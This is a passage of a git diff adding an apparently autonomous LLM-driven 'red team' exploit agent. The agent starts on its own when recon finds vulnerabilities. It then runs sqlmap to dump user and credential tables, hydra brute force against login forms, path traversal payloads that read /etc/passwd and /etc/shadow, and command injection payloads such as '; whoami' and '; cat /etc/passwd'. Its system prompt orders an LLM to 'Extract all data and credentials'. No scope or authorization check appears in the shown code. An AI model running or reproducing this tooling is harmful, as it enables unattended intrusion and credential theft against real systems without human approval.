complete: {data.get('session_id')} " - f"risk={data.get('risk_score')}" - ), + LogEntry(level="INFO", message=f"recon complete: {session_id} risk={risk}") + ) + + # AUTO-TRIGGER: if recon found exploitable vulns, start exploit agent + exploit_keywords = ("sql", "sqli", "injection", "lfi", "rce", "traversal", "xss", "command") + exploitable = [ + v for v in vectors + if isinstance(v, dict) and any( + kw in (v.get("type", "") + v.get("evidence", "")).lower() + for kw in exploit_keywords ) + ] + + if not exploitable: + _logger.info("[RedService] no exploitable vectors found β€” skipping auto-exploit") + return + + # Determine exploit target β€” use highest priority vector's path + best_vector = sorted( + exploitable, + key=lambda v: {"critical": 0, "high": 1, "medium": 2, "low": 3}.get(v.get("priority", "low"), 4), + )[0] + + exploit_target = best_vector.get("path", "") + if exploit_target and not exploit_target.startswith("http"): + exploit_target = target.rstrip("/") + exploit_target + + # Determine vuln type + vuln_type = "sqli" if "sql" in best_vector.get("type", "").lower() else best_vector.get("type", "unknown") + + _logger.info( + "[RedService] AUTO-EXPLOIT: %s on %s (from %d vectors)", + vuln_type, exploit_target, len(exploitable), ) + _LOG_HISTORY.append( + LogEntry(level="INFO", message=f"AUTO-EXPLOIT: {vuln_type} found, attacking {exploit_target}") + ) + + try: + exploit_id = await _run_exploit( + target_url=exploit_target or target, + recon_session_id=session_id, + vulnerability_type=vuln_type, + recon_context=exploitable, + ) + _logger.info("[RedService] exploit agent started: %s", exploit_id) + _LOG_HISTORY.append( + LogEntry(level="INFO", message=f"exploit started: {exploit_id} (auto-triggered by recon)") + ) + except Exception as exc: + _logger.error("[RedService] auto-exploit failed to start: %s", exc) async def _on_recon_failed(data: dict) -> None: diff --git a/red_agent/exploiter/exploit_agent.py b/red_agent/exploiter/exploit_agent.py new file mode 100644 index 000000000..7b881c75f --- /dev/null +++ b/red_agent/exploiter/exploit_agent.py @@ -0,0 +1,763 @@ +"""Autonomous Exploit Agent β€” LLM-driven exploitation with tool library. + +Receives recon findings (attack_vectors) via EventBus, then the LLM +decides which exploit tools to run based on what the Recon Agent found. + +Architecture: + Recon Agent β†’ EventBus "recon.complete" β†’ RedService auto-triggers β†’ + ExploitAgent receives recon_context β†’ LLM picks exploit strategy β†’ + sqlmap/hydra/LFI tools execute β†’ credentials exfiltrated + +The LLM is the brain β€” it sees recon findings and DECIDES the approach: + - SQLi found on /login β†’ sqlmap_get_databases β†’ tables β†’ dump + - Login form, no SQLi β†’ hydra brute force + - LFI found on /config β†’ path traversal test + - Multiple vulns β†’ prioritize by severity + +Falls back to deterministic execution if LLM fails (rate limit/error). +""" + +from __future__ import annotations + +import asyncio +import json +import logging +import os +import shutil +from dataclasses import asdict, dataclass, field +from datetime import datetime, timezone +from typing import Optional + +from dotenv import load_dotenv + +from core.event_bus import event_bus + +load_dotenv() +logger = logging.getLogger(__name__) + +MAX_EXPLOIT_ITERATIONS = int(os.getenv("MAX_EXPLOIT_ITERATIONS", "6")) +SQLMAP_TIMEOUT = int(os.getenv("SQLMAP_TIMEOUT", "180")) +SYSTEM_DBS = {"information_schema", "performance_schema", "mysql", "sys", ""} +SENSITIVE_TABLES = {"users", "user", "accounts", "account", "credentials", "login", + "members", "admin", "admins", "auth", "passwords", "customers"} + + +def utc_now() -> str: + return datetime.now(timezone.utc).isoformat() + + +def generate_exploit_id() -> str: + return datetime.now(timezone.utc).strftime("exploit_%Y%m%d_%H%M%S_%f") + + +def _is_noise(line: str) -> bool: + noise = ["sqlmap.org", "V...", "[!]", "[@]", "[#]", "starting @", + "ending @", "___", "__|", "legal disclaimer", "http://", "https://"] + return any(m in line for m in noise) or len(line) < 2 + + +# ---------- Result dataclass ------------------------------------------------ + +@dataclass +class ExploitAgentResult: + exploit_id: str + recon_session_id: str + target: str + status: str + vulnerability_type: str + recon_context: list[dict] + databases_found: list[str] + tables_found: dict + data_exfiltrated: list[dict] + credentials_found: list[dict] + dbms: str + injection_point: str + tools_run: list[str] = field(default_factory=list) + raw_output: str = "" + duration_seconds: float = 0.0 + error: Optional[str] = None + timestamp: str = field(default_factory=utc_now) + + def to_dict(self) -> dict: + return asdict(self) + + +# ---------- Tool implementations -------------------------------------------- + +async def _run_cmd(cmd: list[str], timeout: int = SQLMAP_TIMEOUT) -> str: + logger.info("[exploit-tool] %s", " ".join(cmd)[:200]) + proc = await asyncio.create_subprocess_exec( + *cmd, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE, + ) + try: + stdout, _ = await asyncio.wait_for(proc.communicate(), timeout=timeout) + except asyncio.TimeoutError: + proc.kill() + await proc.wait() + return "" + return stdout.decode("utf-8", errors="replace") + + +def _sqlmap_base(target_url: str) -> list[str]: + binary = shutil.which("sqlmap") + if not binary: + raise RuntimeError("sqlmap not installed") + return [binary, "-u", target_url, "--batch", "--forms", + "--level=3", "--risk=2", "--threads=4", "--timeout=30", + "--output-dir=/tmp/sqlmap-exploit"] + + +async def _sqlmap_get_databases(args: dict) -> dict: + target = args.get("target_url", "") + output = await _run_cmd(_sqlmap_base(target) + ["--dbs"]) + databases, dbms = [], "" + for line in output.splitlines(): + line = line.strip() + if "back-end DBMS" in line and ":" in line: + dbms = line.split(":", 1)[-1].strip() + if line.startswith("[*]"): + db = line.replace("[*]", "").strip() + if db and db.lower() not in SYSTEM_DBS and not _is_noise(db): + databases.append(db) + if not dbms: + for line in output.splitlines(): + if "sqlite" in line.lower(): dbms = "SQLite"; break + if "mysql" in line.lower(): dbms = "MySQL"; break + if "sqlite" in dbms.lower(): + databases = ["main"] + return {"tool": "sqlmap_get_databases", "ok": bool(databases), "databases": databases, "dbms": dbms} + + +async def _sqlmap_get_tables(args: dict) -> dict: + target = args.get("target_url", "") + db = args.get("database", "") + cmd = _sqlmap_base(target) + ["--tables"] + if db.lower() != "main": + cmd += ["-D", db] + output = await _run_cmd(cmd) + tables = [] + for line in output.splitlines(): + line = line.strip() + if line.startswith("|") and not line.startswith("+-"): + table = line.strip("|").strip() + if table and table.lower() != "tables" and not _is_noise(table): + tables.append(table) + return {"tool": "sqlmap_get_tables", "ok": bool(tables), "database": db, "tables": tables} + + +async def _sqlmap_dump_table(args: dict) -> dict: + target = args.get("target_url", "") + db = args.get("database", "") + table = args.get("table", "") + cmd = _sqlmap_base(target) + ["-T", table, "--dump"] + if db.lower() != "main": + cmd += ["-D", db] + output = await _run_cmd(cmd, timeout=240) + + columns, rows = [], [] + header_found, in_table = False, False + for line in output.splitlines(): + ls = line.strip() + if ls.startswith("+-") and "-+" in ls: + in_table = True; continue + if not in_table or not ls.startswith("|"): + if header_found and rows: break + continue + cells = [c.strip() for c in ls.strip("|").split("|") if c.strip()] + if not cells: continue + if not header_found: + columns = cells; header_found = True + elif len(cells) == len(columns): + rows.append(dict(zip(columns, cells))) + + password_cols = {"password", "pass", "passwd", "pwd", "hash", "password_hash", "secret"} + user_cols = {"username", "user", "login", "email", "name", "uname", "userid", "mail"} + credentials = [] + for row in rows: + u = next((v for k, v in row.items() if k.lower() in user_cols), None) + p = next((v for k, v in row.items() if k.lower() in password_cols), None) + if u or p: + credentials.append({"username": u or "", "password_hash": p or ""}) + + return { + "tool": "sqlmap_dump_table", "ok": bool(rows), + "database": db, "table": table, "columns": columns, + "rows_dumped": len(rows), "sample_rows": rows[:10], + "credentials_found": credentials, + } + + +async def _hydra_bruteforce(args: dict) -> dict: + binary = shutil.which("hydra") + if not binary: + return {"tool": "hydra_bruteforce", "ok": False, "error": "hydra not installed"} + + target = args.get("target_url", "") + from urllib.parse import urlparse + parsed = urlparse(target) + host = parsed.hostname or target + port = parsed.port or 80 + path = parsed.path or "/login" + + user_field = args.get("username_field", "username") + pass_field = args.get("password_field", "password") + fail_msg = args.get("fail_message", "Invalid") + + cmd = [ + binary, "-l", "admin", "-P", "/usr/share/wordlists/rockyou.txt", + "-s", str(port), host, "http-post-form", + f"{path}:{user_field}=^USER^&{pass_field}=^PASS^:{fail_msg}", + "-t", "4", "-f", "-vV", + ] + + # Use smaller wordlist if rockyou doesn't exist + if not os.path.isfile("/usr/share/wordlists/rockyou.txt"): + common_pass = shutil.which("common-passwords") or "/usr/share/wordlists/fasttrack.txt" + if os.path.isfile(common_pass): + cmd[cmd.index("/usr/share/wordlists/rockyou.txt")] = common_pass + else: + return {"tool": "hydra_bruteforce", "ok": False, "error": "no password wordlist found"} + + output = await _run_cmd(cmd, timeout=120) + credentials = [] + for line in output.splitlines(): + if "host:" in line.lower() and "login:" in line.lower(): + credentials.append({"raw": line.strip()}) + + return {"tool": "hydra_bruteforce", "ok": bool(credentials), "credentials_found": credentials, "output": output[-300:]} + + +async def _curl_lfi_test(args: dict) -> dict: + """Test for Local File Inclusion with multiple bypass techniques.""" + target = args.get("target_url", "") + param = args.get("parameter", "file") + + payloads = [ + ("../../etc/passwd", "root:"), + ("....//....//etc/passwd", "root:"), + ("..%2f..%2f..%2fetc%2fpasswd", "root:"), + ("/etc/passwd", "root:"), + ("....//....//....//etc/shadow", "root:"), + ("../../etc/hostname", None), + ("../../proc/self/environ", "PATH="), + ("..\\..\\..\\windows\\system32\\drivers\\etc\\hosts", "localhost"), + ("php://filter/convert.base64-encode/resource=/etc/passwd", None), + ] + + findings = [] + for payload, indicator in payloads: + sep = "&" if "?" in target else "?" + test_url = f"{target}{sep}{param}={payload}" + try: + output = await _run_cmd(["curl", "-s", "-k", "--max-time", "10", test_url], timeout=15) + is_vuln = False + if indicator and indicator in output: + is_vuln = True + elif "root:" in output or "daemon:" in output: + is_vuln = True + elif len(output) > 50 and "404" not in output and "not found" not in output.lower(): + if payload.startswith("php://") and len(output) > 100: + is_vuln = True + + if is_vuln: + findings.append({ + "payload": payload, + "url": test_url, + "vulnerable": True, + "evidence": output[:300], + "technique": "path_traversal" if ".." in payload else "php_filter" if "php://" in payload else "direct", + }) + except Exception: + continue + + files_read = [f["payload"] for f in findings] + return { + "tool": "curl_lfi_test", "ok": bool(findings), + "findings": findings, "files_read": files_read, + "summary": f"Read {len(findings)} files via LFI" if findings else "No LFI found", + } + + +async def _cmd_injection_test(args: dict) -> dict: + """Test for OS command injection with multiple payload techniques.""" + target = args.get("target_url", "") + param = args.get("parameter", "ip") + + payloads = [ + ("; whoami", "whoami"), + ("| whoami", "whoami"), + ("&& whoami", "whoami"), + ("`whoami`", "whoami"), + ("$(whoami)", "whoami"), + ("; id", "uid="), + ("| id", "uid="), + ("; cat /etc/passwd", "root:"), + ("| cat /etc/hostname", None), + ("; uname -a", "Linux"), + ] + + findings = [] + for payload, indicator in payloads: + sep = "&" if "?" in target else "?" + test_url = f"{target}{sep}{param}={payload}" + try: + output = await _run_cmd([ + "curl", "-s", "-k", "--max-time", "10", + "--data-urlencode", f"{param}=127.0.0.1{payload}", + target, + ], timeout=15) + + is_vuln = False + if indicator and indicator in output: + is_vuln = True + elif "uid=" in output and "gid=" in output: + is_vuln = True + elif "root:" in output and "daemon:" in output: + is_vuln = True + + if is_vuln: + findings.append({ + "payload": payload, + "vulnerable": True, + "evidence": output[:300], + "technique": "semicolon" if ";" in payload else "pipe" if "|" in payload else "substitution", + }) + break # One confirmed is enough + + except Exception: + continue + + # Also try GET method + if not findings: + for payload, indicator in payloads[:5]: + sep = "&" if "?" in target else "?" + encoded_payload = payload.replace(" ", "%20").replace(";", "%3B").replace("|", "%7C") + test_url = f"{target}{sep}{param}=127.0.0.1{encoded_payload}" + try: + output = await _run_cmd(["curl", "-s", "-k", "--max-time", "10", test_url], timeout=15) + if indicator and indicator in output: + findings.append({ + "payload": payload, "method": "GET", + "vulnerable": True, "evidence": output[:300], + }) + break + except Exception: + continue + + return { + "tool": "cmd_injection_test", "ok": bool(findings), + "findings": findings, + "summary": f"Command injection confirmed via '{findings[0]['payload']}'" if findings else "No command injection found", + } + + +# Tool dispatcher +_TOOL_DISPATCH = { + "sqlmap_get_databases": _sqlmap_get_databases, + "sqlmap_get_tables": _sqlmap_get_tables, + "sqlmap_dump_table": _sqlmap_dump_table, + "hydra_bruteforce": _hydra_bruteforce, + "curl_lfi_test": _curl_lfi_test, + "cmd_injection_test": _cmd_injection_test, +} + + +# ---------- Groq function calling schemas ----------------------------------- + +_EXPLOIT_TOOLS = [ + {"type": "function", "function": { + "name": "sqlmap_get_databases", + "description": "Discover databases via SQL injection. Use when recon found SQLi.", + "parameters": {"type": "object", "properties": { + "target_url": {"type": "string", "description": "URL with vulnerable form"}, + }, "required": ["target_url"]}, + }}, + {"type": "function", "function": { + "name": "sqlmap_get_tables", + "description": "List tables in a database. Use after sqlmap_get_databases.", + "parameters": {"type": "object", "properties": { + "target_url": {"type": "string"}, + "database": {"type": "string", "description": "Database name from previous step"}, + }, "required": ["target_url", "database"]}, + }}, + {"type": "function", "function": { + "name": "sqlmap_dump_table", + "description": "Dump all rows from a table. Use on sensitive tables (users, credentials, accounts).", + "parameters": {"type": "object", "properties": { + "target_url": {"type": "string"}, + "database": {"type": "string"}, + "table": {"type": "string", "description": "Table to dump β€” pick users/credentials/accounts"}, + }, "required": ["target_url", "database", "table"]}, + }}, + {"type": "function", "function": { + "name": "hydra_bruteforce", + "description": "Brute-force a login form with common passwords. Use when login form found but NO SQLi.", + "parameters": {"type": "object", "properties": { + "target_url": {"type": "string", "description": "Login page URL"}, + "username_field": {"type": "string", "default": "username"}, + "password_field": {"type": "string", "default": "password"}, + "fail_message": {"type": "string", "default": "Invalid", "description": "Text shown on failed login"}, + }, "required": ["target_url"]}, + }}, + {"type": "function", "function": { + "name": "curl_lfi_test", + "description": "Test for Local File Inclusion. Use when recon found LFI/path traversal.", + "parameters": {"type": "object", "properties": { + "target_url": {"type": "string", "description": "URL with the vulnerable parameter"}, + "parameter": {"type": "string", "default": "file", "description": "Parameter name to inject"}, + }, "required": ["target_url"]}, + }}, + {"type": "function", "function": { + "name": "cmd_injection_test", + "description": "Test for OS command injection. Use when recon found command injection, RCE, or a parameter that executes system commands (e.g. ping, traceroute, DNS lookup features).", + "parameters": {"type": "object", "properties": { + "target_url": {"type": "string", "description": "URL with the vulnerable endpoint"}, + "parameter": {"type": "string", "default": "ip", "description": "Parameter name that might be injected (ip, host, cmd, command, ping, domain)"}, + }, "required": ["target_url"]}, + }}, + {"type": "function", "function": { + "name": "submit_exploit_report", + "description": "Submit final exploitation report. Call when you have exfiltrated data or exhausted tools.", + "parameters": {"type": "object", "properties": { + "summary": {"type": "string", "description": "What was exploited and what was found"}, + "severity": {"type": "string", "enum": ["critical", "high", "medium", "low"]}, + }, "required": ["summary", "severity"]}, + }}, +] + + +# ---------- System prompt --------------------------------------------------- + +_EXPLOIT_SYSTEM_PROMPT = """You are an autonomous Red Team Exploit Agent. The Recon Agent has already scanned the target and found vulnerabilities. You must now EXPLOIT them. + +RECON FINDINGS: +{recon_findings} + +YOUR WORKFLOW based on what recon found: + +IF SQL Injection found: + 1. sqlmap_get_databases β†’ discover databases + 2. sqlmap_get_tables β†’ pick the APPLICATION database (skip system DBs) + 3. sqlmap_dump_table β†’ dump users/credentials table + 4. submit_exploit_report + +IF Login form found but NO SQLi: + 1. hydra_bruteforce β†’ brute force the login + 2. submit_exploit_report + +IF LFI/path traversal found: + 1. curl_lfi_test β†’ try to read /etc/passwd, /etc/shadow, /proc/self/environ + 2. submit_exploit_report with files read as evidence + +IF Command Injection / RCE found: + 1. cmd_injection_test β†’ try ; whoami, | id, $(cat /etc/passwd) + 2. submit_exploit_report with command output as evidence + +IF multiple vulnerabilities found: + Exploit in priority order: SQLi β†’ Command Injection β†’ LFI β†’ Brute Force + +RULES: +- Start with the HIGHEST priority vulnerability from recon +- Follow the steps IN ORDER for that vulnerability type +- Never call the same tool twice with the same arguments +- After dumping data, ALWAYS call submit_exploit_report +- Report ALL credentials you find +""" + + +# ---------- Main Exploit Agent ---------------------------------------------- + +class ExploitAgent: + """LLM-driven exploit agent β€” decides strategy based on recon findings.""" + + def __init__( + self, + target_url: str, + recon_session_id: str = "", + vulnerability_type: str = "sqli", + recon_context: list[dict] | None = None, + ): + self.target_url = target_url + self.recon_session_id = recon_session_id + self.vulnerability_type = vulnerability_type + self.recon_context = recon_context or [] + self.exploit_id = generate_exploit_id() + self._start: float | None = None + + self.databases: list[str] = [] + self.tables_found: dict[str, list[str]] = {} + self.data_exfiltrated: list[dict] = [] + self.credentials: list[dict] = [] + self.dbms = "" + self.tools_run: list[str] = [] + + async def run(self) -> ExploitAgentResult: + self._start = asyncio.get_event_loop().time() + logger.info( + "[ExploitAgent:%s] starting on %s with %d recon vectors", + self.exploit_id, self.target_url, len(self.recon_context), + ) + + await event_bus.publish("exploit.started", { + "exploit_id": self.exploit_id, "target": self.target_url, + "recon_vectors": len(self.recon_context), "timestamp": utc_now(), + }) + + try: + await self._agent_loop() + except Exception as exc: + logger.warning( + "[ExploitAgent:%s] LLM failed (%s), falling back to deterministic", + self.exploit_id, exc, + ) + await self._deterministic_fallback() + + result = self._build_final("complete" if (self.databases or self.credentials) else "partial") + await event_bus.publish("exploit.complete", result.to_dict()) + + logger.info( + "[ExploitAgent:%s] DONE β€” %d DBs, %d creds, tools=%s", + self.exploit_id, len(self.databases), len(self.credentials), self.tools_run, + ) + return result + + async def _agent_loop(self): + """LLM-driven exploitation loop.""" + from groq import AsyncGroq + + model = os.getenv("GROQ_MODEL", "llama-3.3-70b-versatile") + if model.startswith("groq/"): + model = model.split("/", 1)[1] + + # Build compact recon findings for the prompt + recon_summary = json.dumps( + [{"path": v.get("path"), "type": v.get("type"), "priority": v.get("priority")} + for v in self.recon_context], + indent=2, + ) if self.recon_context else "No specific findings β€” perform general exploitation." + + system_prompt = _EXPLOIT_SYSTEM_PROMPT.replace("{recon_findings}", recon_summary) + + client = AsyncGroq(api_key=os.getenv("GROQ_API_KEY"), timeout=60.0) + messages = [ + {"role": "system", "content": system_prompt}, + {"role": "user", "content": ( + f"Target: {self.target_url}\n" + f"Vulnerability: {self.vulnerability_type}\n" + f"Exploit it now. Extract all data and credentials." + )}, + ] + + for iteration in range(MAX_EXPLOIT_ITERATIONS): + logger.info("[ExploitAgent:%s] iteration %d/%d", self.exploit_id, iteration + 1, MAX_EXPLOIT_ITERATIONS) + + # Retry on rate limit (up to 3 attempts with backoff) + resp = None + for attempt in range(3): + try: + resp = await client.chat.completions.create( + model=model, temperature=0, max_tokens=512, + messages=messages, tools=_EXPLOIT_TOOLS, tool_choice="auto", + ) + break + except Exception as exc: + if "429" in str(exc) and attempt < 2: + wait = (attempt + 1) * 5 + logger.warning("[ExploitAgent:%s] rate limited, retrying in %ds", self.exploit_id, wait) + await asyncio.sleep(wait) + else: + raise + + if resp is None: + raise RuntimeError("all LLM retries exhausted") + + message = resp.choices[0].message + messages.append(message.model_dump(exclude_none=True)) + + if not message.tool_calls: + logger.info("[ExploitAgent:%s] agent finished", self.exploit_id) + break + + for tc in message.tool_calls: + fn = tc.function.name + try: + args = json.loads(tc.function.arguments) + except json.JSONDecodeError: + args = {} + + logger.info("[ExploitAgent:%s] LLM decided: %s(%s)", self.exploit_id, fn, json.dumps(args)[:120]) + + if fn == "submit_exploit_report": + logger.info("[ExploitAgent:%s] LLM submitted report: %s", self.exploit_id, args.get("summary", "")) + messages.append({"role": "tool", "tool_call_id": tc.id, "content": "Report received."}) + return + + # Execute tool + handler = _TOOL_DISPATCH.get(fn) + if not handler: + messages.append({"role": "tool", "tool_call_id": tc.id, "content": f"Unknown tool: {fn}"}) + continue + + self.tools_run.append(fn) + result = await handler(args) + self._absorb_result(result) + self._update_partial() + + await event_bus.publish("exploit.tool_done", { + "exploit_id": self.exploit_id, "tool": fn, + "ok": result.get("ok"), "details": {k: v for k, v in result.items() if k != "output"}, + }) + + compact = json.dumps({k: v for k, v in result.items() if k not in ("output", "sample_rows")}, default=str)[:400] + messages.append({"role": "tool", "tool_call_id": tc.id, "content": compact}) + + async def _deterministic_fallback(self): + """Fixed exploitation pipeline β€” guaranteed to work without LLM.""" + logger.info("[ExploitAgent:%s] deterministic fallback", self.exploit_id) + + has_sqli = any("sql" in (v.get("type", "") + v.get("evidence", "")).lower() for v in self.recon_context) + has_lfi = any("lfi" in v.get("type", "").lower() or "traversal" in v.get("type", "").lower() for v in self.recon_context) + + if has_sqli or not self.recon_context: + if not self.databases: + self.tools_run.append("sqlmap --dbs (fallback)") + r = await _sqlmap_get_databases({"target_url": self.target_url}) + self._absorb_result(r) + self._update_partial() + + for db in self.databases[:2]: + if db not in self.tables_found: + self.tools_run.append(f"sqlmap --tables {db} (fallback)") + r = await _sqlmap_get_tables({"target_url": self.target_url, "database": db}) + self._absorb_result(r) + self._update_partial() + + tables = self.tables_found.get(db, []) + sensitive = [t for t in tables if t.lower() in SENSITIVE_TABLES] or tables[:2] + for table in sensitive[:2]: + self.tools_run.append(f"sqlmap --dump {db}.{table} (fallback)") + r = await _sqlmap_dump_table({"target_url": self.target_url, "database": db, "table": table}) + self._absorb_result(r) + self._update_partial() + + if has_lfi: + lfi_vectors = [v for v in self.recon_context if "lfi" in v.get("type", "").lower()] + for v in lfi_vectors[:1]: + path = v.get("path", "") + url = self.target_url.rstrip("/") + path if path else self.target_url + self.tools_run.append("curl_lfi_test (fallback)") + r = await _curl_lfi_test({"target_url": url}) + self._absorb_result(r) + self._update_partial() + + def _absorb_result(self, result: dict): + """Merge tool result into agent state.""" + if result.get("databases"): + self.databases = result["databases"] + if result.get("dbms"): + self.dbms = result["dbms"] + if result.get("tables"): + db = result.get("database", "unknown") + self.tables_found[db] = result["tables"] + if result.get("credentials_found"): + self.credentials.extend(result["credentials_found"]) + if result.get("sample_rows"): + self.data_exfiltrated.append({ + "database": result.get("database", ""), + "table": result.get("table", ""), + "columns": result.get("columns", []), + "row_count": result.get("rows_dumped", 0), + "sample_rows": result.get("sample_rows", [])[:10], + }) + if result.get("findings"): + self.data_exfiltrated.append({ + "tool": result.get("tool"), + "findings": result["findings"], + }) + + def _update_partial(self): + duration = asyncio.get_event_loop().time() - self._start if self._start else 0 + _exploit_sessions[self.exploit_id] = ExploitAgentResult( + exploit_id=self.exploit_id, recon_session_id=self.recon_session_id, + target=self.target_url, status="running", + vulnerability_type=self.vulnerability_type, + recon_context=self.recon_context, + databases_found=self.databases, tables_found=self.tables_found, + data_exfiltrated=self.data_exfiltrated, credentials_found=self.credentials, + dbms=self.dbms, injection_point=self.target_url, + tools_run=list(self.tools_run), + raw_output=f"Exploiting... {len(self.tools_run)} commands run, {len(self.credentials)} creds found", + duration_seconds=round(duration, 2), + ) + + def _build_final(self, status: str, error: str | None = None) -> ExploitAgentResult: + duration = asyncio.get_event_loop().time() - self._start if self._start else 0 + return ExploitAgentResult( + exploit_id=self.exploit_id, recon_session_id=self.recon_session_id, + target=self.target_url, status=status, + vulnerability_type=self.vulnerability_type, + recon_context=self.recon_context, + databases_found=self.databases, tables_found=self.tables_found, + data_exfiltrated=self.data_exfiltrated, credentials_found=self.credentials, + dbms=self.dbms, injection_point=self.target_url, + tools_run=self.tools_run, + raw_output=json.dumps({ + "databases": self.databases, "tables": self.tables_found, + "credentials": self.credentials, + }, default=str)[:2000], + duration_seconds=round(duration, 2), error=error, + ) + + +# ---------- Session store --------------------------------------------------- + +_exploit_sessions: dict[str, ExploitAgentResult | None] = {} + + +async def run_exploit_session( + target_url: str, + recon_session_id: str = "", + vulnerability_type: str = "sqli", + recon_context: list[dict] | None = None, +) -> str: + agent = ExploitAgent(target_url, recon_session_id, vulnerability_type, recon_context) + _exploit_sessions[agent.exploit_id] = None + + async def _runner(): + try: + result = await agent.run() + except Exception as exc: + logger.exception("[run_exploit_session] crashed") + result = ExploitAgentResult( + exploit_id=agent.exploit_id, recon_session_id=recon_session_id, + target=target_url, status="failed", vulnerability_type=vulnerability_type, + recon_context=recon_context or [], + databases_found=[], tables_found={}, data_exfiltrated=[], + credentials_found=[], dbms="", injection_point=target_url, + tools_run=[], error=str(exc), + ) + _exploit_sessions[agent.exploit_id] = result + + asyncio.create_task(_runner()) + return agent.exploit_id + + +def get_exploit_result(exploit_id: str) -> ExploitAgentResult | None: + return _exploit_sessions.get(exploit_id) + + +def has_exploit_session(exploit_id: str) -> bool: + return exploit_id in _exploit_sessions + + +def list_exploit_sessions() -> list[dict]: + out: list[dict] = [] + for eid, r in _exploit_sessions.items(): + if r is None: + out.append({"exploit_id": eid, "status": "running", "target": None}) + else: + out.append({ + "exploit_id": eid, "status": r.status, "target": r.target, + "creds_found": len(r.credentials_found), "dbs_found": len(r.databases_found), + }) + return out diff --git a/red_agent/scanner/arsenal_tools.py b/red_agent/scanner/arsenal_tools.py new file mode 100644 index 000000000..92300c546 --- /dev/null +++ b/red_agent/scanner/arsenal_tools.py @@ -0,0 +1,211 @@ +"""CrewAI tool wrappers around the existing Red Arsenal tool impls. + +The Arsenal tool impls (`red_agent.red_arsenal.tools.recon` / `.api`) are plain +async Python coroutines that already return normalized, parser-structured +dicts. We call them in-process instead of over HTTP β€” there is no REST layer +in front of the MCP server. + +Each wrapper: + * is a sync function (CrewAI tool interface), + * runs the underlying coroutine via asyncio.run() in a worker thread + (the CrewAI crew is itself driven from a thread executor, so a fresh + event loop is safe), + * catches every error and returns a short diagnostic string so the LLM + can keep going, + * truncates output to 500 chars to stay token-efficient. +""" + +from __future__ import annotations + +import asyncio +import json +import logging +import os +from typing import Awaitable, Callable +from urllib.parse import urlparse + +from dotenv import load_dotenv + +load_dotenv() +logger = logging.getLogger(__name__) + +MAX_TOOL_OUTPUT_CHARS = 400 +MAX_FINDINGS_IN_SUMMARY = 5 +DEFAULT_TOOL_TIMEOUT = int(os.getenv("RECON_TOOL_TIMEOUT", "120")) + + +# --- CrewAI tool decorator (graceful fallback) ------------------------------ +try: + from crewai.tools import tool as crewai_tool # type: ignore +except Exception: # pragma: no cover - crewai optional at import time + def crewai_tool(name: str): # type: ignore + def _wrap(fn): + fn.name = name + return fn + return _wrap + + +# --- Underlying Arsenal impls (import lazily to avoid hard failure) --------- +def _load_impls(): + from red_agent.red_arsenal.tools import api as api_tools + from red_agent.red_arsenal.tools import recon as recon_tools + return recon_tools, api_tools + + +def _host_only(target: str) -> str: + """Strip URL scheme/path for tools that want a bare host (nmap).""" + if "://" in target: + parsed = urlparse(target) + return parsed.hostname or target + return target.split("/", 1)[0] + + +def _run_coro( + label: str, + factory: Callable[[], Awaitable[dict]], +) -> str: + """Execute a tool coroutine and return a short JSON-ish string.""" + try: + result = asyncio.run( + asyncio.wait_for(factory(), timeout=DEFAULT_TOOL_TIMEOUT) + ) + except asyncio.TimeoutError: + return f"{label} timed out after {DEFAULT_TOOL_TIMEOUT}s" + except RuntimeError as exc: + # Binary not installed or nested-loop issue + return f"{label} unavailable: {str(exc)[:180]}" + except Exception as exc: # noqa: BLE001 + logger.warning("[arsenal_tools] %s failed: %s", label, exc) + return f"{label} error: {str(exc)[:180]}" + + findings = result.get("findings") or [] + # For nmap, only surface ports with state="open" β€” this saves tokens AND + # stops the LLM from reporting closed/filtered ports as open. + if label == "nmap": + findings = [ + f for f in findings + if isinstance(f, dict) and f.get("state") == "open" + ] + + # Drop noisy fields to save tokens (version strings, full URLs). + trimmed: list[dict] = [] + for f in findings[:MAX_FINDINGS_IN_SUMMARY]: + if isinstance(f, dict): + trimmed.append( + { + k: v + for k, v in f.items() + if k in ( + "port", "state", "service", "product", + "status", "path", "url", "severity", "name", "host", + ) + and v is not None + } + ) + else: + trimmed.append({"value": str(f)[:60]}) + + summary = { + "tool": result.get("tool", label), + "ok": result.get("ok"), + "count": len(findings), + "findings": trimmed, + } + err = result.get("error") + if err: + summary["error"] = str(err)[:80] + try: + text = json.dumps(summary, default=str) + except Exception: # noqa: BLE001 + text = str(summary) + return text[:MAX_TOOL_OUTPUT_CHARS] + + +# --- CrewAI-facing tool functions ------------------------------------------ + +@crewai_tool("nmap_scanner") +def nmap_scan(target: str) -> str: + """Run nmap service/version scan (`-sV -sC`) on top common ports. + Use for: open ports and running services. + Input: target URL, hostname, or IP (scheme will be stripped). + """ + host = _host_only(target) + recon, _ = _load_impls() + return _run_coro("nmap", lambda: recon.nmap_impl(host)) + + +@crewai_tool("nuclei_scanner") +def nuclei_scan(target: str) -> str: + """Run nuclei vulnerability templates at critical+high severity. + Use for: CVE detection with 4000+ templates. + Input: target URL. + """ + recon, _ = _load_impls() + return _run_coro( + "nuclei", + lambda: recon.nuclei_impl(target, severity="critical,high"), + ) + + +@crewai_tool("katana_crawler") +def katana_crawl(target: str) -> str: + """Headless web crawler, depth 3, JS crawling on. + Use for: enumerating URLs, JS endpoints, site structure. + Input: target URL. + """ + recon, _ = _load_impls() + return _run_coro("katana", lambda: recon.katana_impl(target)) + + +@crewai_tool("gobuster_scanner") +def gobuster_scan(target: str) -> str: + """Directory brute-forcer (gobuster dir mode, common wordlist). + Use for: finding admin panels, hidden paths, config files. + Input: target URL. + """ + recon, _ = _load_impls() + return _run_coro("gobuster", lambda: recon.gobuster_impl(target)) + + +@crewai_tool("dirsearch_scanner") +def dirsearch_scan(target: str) -> str: + """Directory / file brute-forcer (dirsearch). + Use for: alternate content discovery when gobuster misses. + Input: target URL. + """ + recon, _ = _load_impls() + return _run_coro("dirsearch", lambda: recon.dirsearch_impl(target)) + + +@crewai_tool("gau_scanner") +def gau_scan(target: str) -> str: + """Fetch historical URLs from OTX/Wayback/CommonCrawl (gau). + Use for: passive URL discovery on a domain β€” expanding attack surface. + Input: domain or URL. + """ + recon, _ = _load_impls() + return _run_coro("gau", lambda: recon.gau_impl(target)) + + +@crewai_tool("ffuf_fuzzer") +def ffuf_scan(target: str) -> str: + """Fast web fuzzer (ffuf content mode). + Use for: hidden endpoints and parameters. + Input: target URL (FUZZ injected by tool). + """ + _, api = _load_impls() + return _run_coro("ffuf", lambda: api.ffuf_impl(target)) + + +ALL_RECON_TOOLS = [ + nmap_scan, + nuclei_scan, + 